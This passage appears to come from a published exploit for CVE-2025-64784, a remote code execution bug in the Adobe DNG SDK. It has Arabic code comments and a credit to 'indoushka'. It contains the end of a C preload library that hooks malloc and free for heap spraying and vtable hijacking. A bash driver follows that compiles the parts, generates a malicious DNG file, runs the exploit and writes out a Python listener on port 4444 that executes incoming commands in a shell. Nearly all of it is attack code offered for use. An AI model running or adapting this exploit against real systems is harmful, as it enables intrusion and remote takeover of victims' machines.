    
    // تحرير الكائن المستهدف
    if (g_heap_state.target_object) {
        original_free(g_heap_state.target_object);
    }
    
    // تحرير قائمة المراقبة
    if (g_heap_state.monitored) {
        original_free(g_heap_state.monitored);
    }
}

// ============== تعويض دوال الذاكرة ==============
void* malloc(size_t size) {
    init_original_functions();
    
    void* ptr = original_malloc(size);
    if (!ptr) {
        return NULL;
    }
    
    // تسجيل التخصيصات الضعيفة
    if (is_vulnerable_object(size)) {
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_MONITOR] Vulnerable object: %p (0x%zx)\n", ptr, size);
        }
        
        // إذا كان هناك كائن مستهدف، نقوم بـ VTable hijacking
        if (g_heap_state.target_object) {
            void** object_vtable = (void**)((char*)ptr + g_heap_state.vtable_offset);
            void** target_vtable = (void**)((char*)g_heap_state.target_object + 
                                           g_heap_state.vtable_offset);
            
            // نسخ VTable من الكائن المستهدف
            memcpy(object_vtable, target_vtable, 3 * sizeof(void*));
            
            if (g_heap_state.debug_mode) {
                fprintf(stderr, "[HEAP_HIJACK] VTable hijacked at %p\n", object_vtable);
            }
        }
        
        // إضافة إلى قائمة المراقبة
        if (!g_heap_state.monitored) {
            g_heap_state.monitored = original_malloc(100 * sizeof(MonitoredObject));
            g_heap_state.monitored_count = 0;
        }
        
        if (g_heap_state.monitored && g_heap_state.monitored_count < 100) {
            g_heap_state.monitored[g_heap_state.monitored_count].address = ptr;
            g_heap_state.monitored[g_heap_state.monitored_count].size = size;
            g_heap_state.monitored[g_heap_state.monitored_count].is_vulnerable = 1;
            g_heap_state.monitored[g_heap_state.monitored_count].is_hijacked = 
                (g_heap_state.target_object != NULL);
            g_heap_state.monitored_count++;
        }
    }
    
    return ptr;
}

void free(void* ptr) {
    init_original_functions();
    
    // التحقق مما إذا كان المؤشر ينتمي إلى الكتل المرشوشة
    if (g_heap_state.sprayed_blocks) {
        for (int i = 0; i < g_heap_state.spray_count; i++) {
            if (g_heap_state.sprayed_blocks[i] == ptr) {
                if (g_heap_state.debug_mode) {
                    fprintf(stderr, "[HEAP_MONITOR] Freed sprayed block %d: %p\n", i, ptr);
                }
                // لا نحرر الكتل المرشوشة
                return;
            }
        }
    }
    
    original_free(ptr);
}

void* realloc(void* ptr, size_t size) {
    init_original_functions();
    
    // إذا كان ptr هو كائن مراقب، نسجل التغيير
    if (g_heap_state.monitored) {
        for (int i = 0; i < g_heap_state.monitored_count; i++) {
            if (g_heap_state.monitored[i].address == ptr) {
                if (g_heap_state.debug_mode) {
                    fprintf(stderr, "[HEAP_MONITOR] Reallocating monitored object: %p\n", ptr);
                }
                break;
            }
        }
    }
    
    return original_realloc(ptr, size);
}

void* calloc(size_t nmemb, size_t size) {
    init_original_functions();
    return original_calloc(nmemb, size);
}

========================
[+] Part 3: The script
========================

#!/bin/bash
# run_final_exploit.sh

set -euo pipefail

# ============== الألوان للمخرجات ==============
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

print_header() {
    echo -e "${BLUE}"
    echo "╔══════════════════════════════════════════════════════╗"
    echo "║           CVE-2025-64784 By indoushka                ║"
    echo "║        Adobe DNG SDK <= 1.7 RCE Exploit              ║"
    echo "╚══════════════════════════════════════════════════════╝"
    echo -e "${NC}"
    echo ""
}

print_step() {
    echo -e "${GREEN}[*]${NC} $1"
}

print_warning() {
    echo -e "${YELLOW}[!]${NC} $1"
}

print_error() {
    echo -e "${RED}[ERROR]${NC} $1"
}

print_success() {
    echo -e "${GREEN}[+]${NC} $1"
}

# ============== التحقق من المتطلبات ==============
check_requirements() {
    print_step "Checking system requirements..."
    
    local missing=0
    
    # التحقق من gcc
    if ! command -v gcc &> /dev/null; then
        print_error "gcc not found"
        missing=1
    fi
    
    # التحقق من python3
    if ! command -v python3 &> /dev/null; then
        print_error "python3 not found"
        missing=1
    fi
    
    # التحقق من netcat
    if ! command -v nc &> /dev/null; then
        print_warning "netcat not found (reverse shell may not work)"
    fi
    
    # التحقق من make
    if ! command -v make &> /dev/null; then
        print_warning "make not found (DNG SDK compilation may fail)"
    fi
    
    # التحقق من بنية النظام
    local arch=$(uname -m)
    if [[ "$arch" != "x86_64" ]]; then
        print_warning "Running on $arch (expected x86_64 for exploit)"
    fi
    
    if [[ $missing -eq 1 ]]; then
        print_error "Missing requirements. Install with:"
        echo "  sudo apt install gcc python3 netcat make"
        exit 1
    fi
    
    print_success "Requirements check passed"
}

# ============== التجميع ==============
compile_exploit() {
    print_step "Compiling exploit components..."
    
    # 1. تجميع heap groomer
    if [[ -f "heap_groom_final.c" ]]; then
        print_step "Compiling heap_groom_final.so..."
        gcc -shared -fPIC -o heap_groom_final.so heap_groom_final.c -ldl -Wall
        if [[ ! -f "heap_groom_final.so" ]]; then
            print_error "Failed to compile heap_groom_final.so"
            exit 1
        fi
        print_success "heap_groom_final.so compiled"
    fi
    
    # 2. تجميع الاستغلال الرئيسي
    if [[ -f "final_exploit_cve_2025_64784.c" ]]; then
        print_step "Compiling final_exploit..."
        gcc -o final_exploit final_exploit_cve_2025_64784.c -ldl -Wall
        if [[ ! -f "final_exploit" ]]; then
            print_error "Failed to compile final_exploit"
            exit 1
        fi
        print_success "final_exploit compiled"
    fi
    
    # 3. تجميع DNG SDK إذا كان موجوداً
    if [[ -f "dng_sdk/Makefile" ]]; then
        print_step "Compiling vulnerable DNG SDK..."
        cd dng_sdk && make -j$(nproc) && cd ..
        if [[ -f "dng_sdk/dng_validate" ]]; then
            ln -sf dng_sdk/dng_validate ./
            print_success "DNG SDK compiled"
        fi
    fi
}

# ============== إنشاء ملفات DNG ==============
create_dng_files() {
    print_step "Creating DNG exploit files..."
    
    if [[ ! -f "create_malicious_dng.py" ]]; then
        print_warning "create_malicious_dng.py not found"
        return
    fi
    
    # إنشاء ملف DNG أساسي
    python3 create_malicious_dng.py
    
    if [[ -f "exploit.dng" ]]; then
        local size=$(stat -c%s "exploit.dng")
        print_success "Created exploit.dng ($size bytes)"
    else
        print_error "Failed to create exploit.dng"
    fi
}

# ============== تشغيل Listener متقدم ==============
start_advanced_listener() {
    print_step "Starting reverse shell listener..."
    
    # إنشاء script listener متقدم
    cat > advanced_listener.py << 'EOF'
#!/usr/bin/env python3
import socket
import subprocess
import sys
import os
import threading

PORT = 4444
HOST = '0.0.0.0'

def handle_client(client_socket, address):
    print(f"[*] Connection from {address[0]}:{address[1]}")
    
    # إرسال banner
    banner = b"\n[+] CVE-2025-64784 Exploit Successful!\n"
    banner += b"[+] Remote Code Execution Achieved\n\n"
    client_socket.send(banner)
    
    # توجيه الأوامر إلى shell
    while True:
        try:
            # إرسال prompt
            client_socket.send(b"$ ")
            
            # استقبال الأمر
            command = b""
            while True:
                data = client_socket.recv(1)
                if not data or data == b"\n":
                    break
                command += data
            
            command = command.decode('utf-8', errors='ignore').strip()
            
            if command.lower() in ['exit', 'quit']:
                break
            
            if command:
                print(f"[CMD] {command}")
                
                # تنفيذ الأمر
                try:
                    result = subprocess.check_output(
                        command, 
                        shell=True, 
                        stderr=subprocess.STDOUT,
                        timeout=5
                    )
                    client_socket.send(result + b"\n")
                except subprocess.CalledProcessError as e:
                    client_socket.send(e.output + b"\n")
                except subprocess.TimeoutExpired:
                    client_socket.send(b"Command timed out\n")
        except Exception as e:
            print(f"[ERROR] {e}")
            break
    
    client_socket.close()
    print(f"[*] Connection closed: {address[0]}:{address[1]}")

def main():
    # إنشاء socket
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        server.bind((HOST, PORT))
        server.listen(5)
        print(f"[*] Listening on {HOST}:{PORT}")
        print("[*] Waiting for exploit to trigger...")
        
        while True:
            client, address = server.accept()
            client_handler = threading.Thread(
                target=handle_client, 
                args=(client, address)
            )
            client_handler.start()
    except KeyboardInterrupt:
        print("\n[*] Shutting down listener")
    except Exception as e:
        print(f"[ERROR] {e}")
    finally:
        server.close()

if __name__ == "__main__":
    main()
EOF
    
    chmod +x advanced_listener.py
    
    # تشغيل الـ listener في الخلفية
    ./advanced_listener.py &
    LISTENER_PID=$!
    
    echo $LISTENER_PID > .listener.pid
    print_success "Listener started with PID: $LISTENER_PID"
    
    # الانتظار للتأكد من بدء الـ listener
    sleep 3
}

# ============== تنفيذ الاستغلال ==============
run_exploit() {
    print_step "Running exploit chain..."
    
    # تعيين إعدادات Heap Grooming
    export HEAP_DEBUG=1
    export HEAP_SPRAY_COUNT=400
    export HEAP_SPRAY_SIZE=8192
    export HEAP_TARGET_SIZE=1024
    export HEAP_VTABLE_OFFSET=0x28
    
    print_step "Heap grooming configuration:"
    echo "  SPRAY_COUNT: $HEAP_SPRAY_COUNT"
    echo "  SPRAY_SIZE:  $HEAP_SPRAY_SIZE"
    echo "  TARGET_SIZE: $HEAP_TARGET_SIZE"
    echo "  VTABLE_OFFSET: $HEAP_VTABLE_OFFSET"
    
    local input_dng="exploit.dng"
    local output_dng="final_exploit.dng"
    
    if [[ ! -f "$input_dng" ]]; then
        print_error "Input DNG not found: $input_dng"
        return 1
    fi
    
    # تشغيل الاستغلال
    print_step "Executing: ./final_exploit $input_dng $output_dng 0"
    echo ""
    
    if [[ -f "./final_exploit" ]]; then
        timeout 30 ./final_exploit "$input_dng" "$output_dng" 0 2>&1 | tee exploit.log
        local exit_code=${PIPESTATUS[0]}
        
        echo ""
        if [[ $exit_code -eq 0 ]]; then
            print_success "Exploit execution completed"
        elif [[ $exit_code -eq 124 ]]; then
            print_warning "Exploit timed out (may still have worked)"
        else
            print_error "Exploit failed with exit code: $exit_code"
        fi
    else
        print_error "final_exploit binary not found"
        return 1
    fi
    
    return 0
}

# ============== عرض النتائج ==============
show_results() {
    print_step "Exploit Results Summary"
    echo "========================================"
    
    # التحقق من وجود reverse shell
    if [[ -f ".listener.pid" ]]; then
        local listener_pid=$(cat .listener.pid)
        if ps -p "$listener_pid" > /dev/null 2>&1; then
            print_warning "Listener still running (PID: $listener_pid)"
            print_step "Connect to reverse shell: nc -nv 127.0.0.1 4444"
        else
            print_success "Listener completed (check exploit.log for shell output)"
        fi
    fi
    
    # عرض سجل الأخطاء
    if [[ -f "exploit.log" ]]; then
        local error_count=$(grep -c -i "error\|fail\|segmentation" exploit.log)
        local success_count=$(grep -c -i "success\|hijack\|shell" exploit.log)
        
        echo ""
        echo "Log Analysis:"
        echo "  Errors/Warnings: $error_count"
        echo "  Success indicators: $success_count"
        
        if [[ $success_count -gt 0 ]]; then
            print_success "Exploit shows signs of success!"
        fi
    fi
    
    # التحقق من الملفات الناتجة
    echo ""
    echo "Generated files:"
    [[ -f "final_exploit.dng" ]] && echo "  ✓ final_exploit.dng"
    [[ -f "exploit.log" ]] && echo "  ✓ exploit.log"
    [[ -f "exploit_full.log" ]] && echo "  ✓ exploit_full.log"
    
    echo ""
    print_step "Next steps:"
    echo "1. Check for reverse shell connection"
    echo "2. Review exploit.log for detailed output"
    echo "3. Adjust heap grooming parameters if needed"
    echo "4. Try different libc versions: 0-3"
}

# ============== التنظيف ==============
cleanup() {
    print_step "Cleaning up..."
    
    # إيقاف الـ listener
    if [[ -f ".listener.pid" ]]; then
        local listener_pid=$(cat .listener.pid)
        if ps -p "$listener_pid" > /dev/null 2>&1; then
            kill "$listener_pid" 2>/dev/null
            wait "$listener_pid" 2>/dev/null
        fi
        rm -f .listener.pid
    fi
    
    # حذف الملفات المؤقتة
    rm -f advanced_listener.py brute_*.dng 2>/dev/null
    
    print_success "Cleanup completed"
}

# ============== الدالة الرئيسية ==============
main() {
    print_header
    
    # معالجة Ctrl+C
    trap 'echo -e "\n${YELLOW}[!] Interrupted${NC}"; cleanup; exit 1' INT
    
    # التحقق من أنه يتم التشغيل كـ root (مفضل للاستغلال)
    if [[ $EUID -ne 0 ]]; then
        print_warning "Running as non-root user (some operations may fail)"
        read -p "Continue anyway? (y/n): " -n 1 -r
        echo
        if [[ ! $REPLY =~ ^[Yy]$ ]]; then
            exit 1
        fi
    fi
    
    # تنفيذ الخطوات
    check_requirements
    compile_exploit
    create_dng_files
    
    # بدء الـ listener
    start_advanced_listener
    
    # تشغيل الاستغلال
    if run_exploit; then
        show_results
    else
        print_error "Exploit execution failed"
    fi
    
    # تنظيف
    cleanup
    
    echo ""
    print_success "Exploit script completed"
    echo -e "${BLUE}========================================${NC}"
}

# تنفيذ البرنامج الرئيسي
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
    main "$@"
fi

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================